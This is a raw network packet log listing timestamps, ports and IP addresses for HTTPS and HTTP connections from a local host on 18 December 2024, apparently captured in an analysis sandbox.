Dec 18, 2024 22:02:19.674606085 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.674618959 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.681149006 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.681207895 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.681216002 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.687963963 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.688016891 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.688024044 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.697221994 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.697273970 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.697282076 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.704041004 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.704102993 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.704109907 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.710701942 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.710752010 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.710758924 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.720190048 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.720238924 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.720246077 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.720345020 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.720392942 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.720400095 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.731709003 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.731764078 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.731774092 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.742197037 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.742274046 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.742285013 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.753451109 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.753506899 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.753519058 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.764123917 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.764179945 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.764194012 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.776401997 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.776561022 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.776568890 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.784543037 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.784610033 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.784615993 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.794620991 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.794747114 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.794753075 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.804496050 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.804543972 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.804555893 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.813535929 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.813666105 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.813673019 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.822081089 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.822134018 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.822139978 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.829936981 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.830009937 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.830015898 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.837989092 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.838044882 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.838052034 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.846621037 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.846695900 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.846703053 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.855246067 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.855349064 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.855370998 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.861845970 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.861906052 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.861924887 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.867266893 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.867321014 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.867332935 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.871912956 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.871958971 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.871968985 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.878618956 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.878664970 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.878675938 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.882391930 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.882450104 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.882463932 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.887732029 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.887773037 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.887784958 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.893258095 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.893309116 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.893316984 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.900887966 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.900953054 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.900964975 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.904191971 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.904242992 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.904248953 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.905780077 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.905837059 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.905854940 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.913961887 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.914012909 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.914032936 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.915276051 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.915329933 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.915441990 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.915458918 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:20.616782904 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:20.616836071 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:20.616908073 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:20.617141008 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:20.617151976 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:22.057085037 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:22.057328939 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:22.176739931 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:22.176843882 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:22.176933050 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:22.181138039 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:22.300826073 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:22.329230070 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:22.329580069 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:22.329622984 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:22.329946041 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:22.331347942 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:22.331413984 CET	443	49721	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:22.381009102 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:23.439539909 CET	49733	443	192.168.2.5	142.250.181.46
Dec 18, 2024 22:02:23.439591885 CET	443	49733	142.250.181.46	192.168.2.5
Dec 18, 2024 22:02:23.439730883 CET	49733	443	192.168.2.5	142.250.181.46
Dec 18, 2024 22:02:23.440120935 CET	49733	443	192.168.2.5	142.250.181.46
Dec 18, 2024 22:02:23.440154076 CET	443	49733	142.250.181.46	192.168.2.5
Dec 18, 2024 22:02:23.782568932 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:23.782655001 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:23.895092010 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:23.921612978 CET	49733	443	192.168.2.5	142.250.181.46
Dec 18, 2024 22:02:23.921695948 CET	49721	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:24.014882088 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:24.542260885 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:24.542329073 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:29.547723055 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:29.547806025 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:36.097259998 CET	49729	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:36.097549915 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:36.216967106 CET	80	49729	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:36.217137098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:36.217235088 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:36.217386961 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:36.336993933 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:37.651252985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:37.651376009 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.016221046 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.135828018 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.406996965 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407082081 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407119036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407185078 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.407186031 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.407279015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.407634974 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407670021 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407685041 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.407706022 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.407716990 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.407752991 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.408673048 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.408708096 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.408744097 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.408818007 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.408818960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.408818960 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.415395975 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.415462971 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.415518999 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.415570974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.527765036 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.527854919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.527992010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.527992010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.599739075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.599860907 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.599888086 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.599941015 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.603487015 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.603636026 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.603641987 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.603696108 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.611630917 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.611701965 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.611768961 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.611821890 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.619801998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.619877100 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.619937897 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.619986057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.627873898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.627933025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.628007889 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.628068924 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.636044979 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.636179924 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.636230946 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.636770010 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.644330978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.644407034 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.644457102 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.644512892 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.652373075 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.652435064 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.652599096 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.652657032 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.660587072 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.660690069 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.660695076 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.660739899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.668695927 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.668874025 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.668942928 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.676187992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.676346064 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.676407099 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.682710886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.684838057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.719579935 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.719711065 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.719806910 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.791594028 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.791640997 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.791837931 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.793878078 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.794023037 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.794090986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.798887014 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.799010038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.799082041 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.803774118 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.803844929 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.803971052 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.804022074 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.808729887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.808794022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.808875084 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.808928967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.813472986 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.813586950 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.813592911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.813640118 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.818183899 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.818234921 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.818317890 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.818387985 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.823029041 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.823064089 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.823128939 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.827644110 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.827862978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.827919006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.832367897 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.832515955 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.832576036 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.837152004 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.837186098 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.837217093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.837241888 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.841860056 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.841919899 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.841993093 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.842052937 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.846494913 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.846544981 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.846657038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.846733093 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.851222992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.851284027 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.851378918 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.851432085 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.854759932 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.854815006 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.854880095 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.855057001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.858208895 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.858319998 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.858324051 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.858365059 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.861862898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.861896992 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.861927986 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.861948967 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.865183115 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.865240097 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.865323067 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.865376949 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.868670940 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.868731022 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.911556005 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.911784887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.911871910 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.913332939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.913508892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.913670063 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.916831017 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.917093039 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.917150974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.920360088 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.920460939 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.920514107 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.923764944 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.923970938 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.924025059 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.927356958 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.928951025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.983706951 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.983867884 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.983937025 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.985229969 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.985344887 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.985527992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.988241911 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.988421917 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.988476992 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.991074085 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.991245985 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.991307974 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.993899107 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.994035006 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.994090080 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.996790886 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.996849060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.996973038 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.997512102 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:38.999548912 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.999744892 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:38.999810934 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.002362013 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.002538919 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.002599001 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.005285978 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.005346060 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.005691051 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.006643057 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.008035898 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.008088112 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.008168936 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.008218050 CET	49764	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:39.010881901 CET	80	49764	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:39.010997057 CET	80	49764	185.219.81.135	192.168.2.5
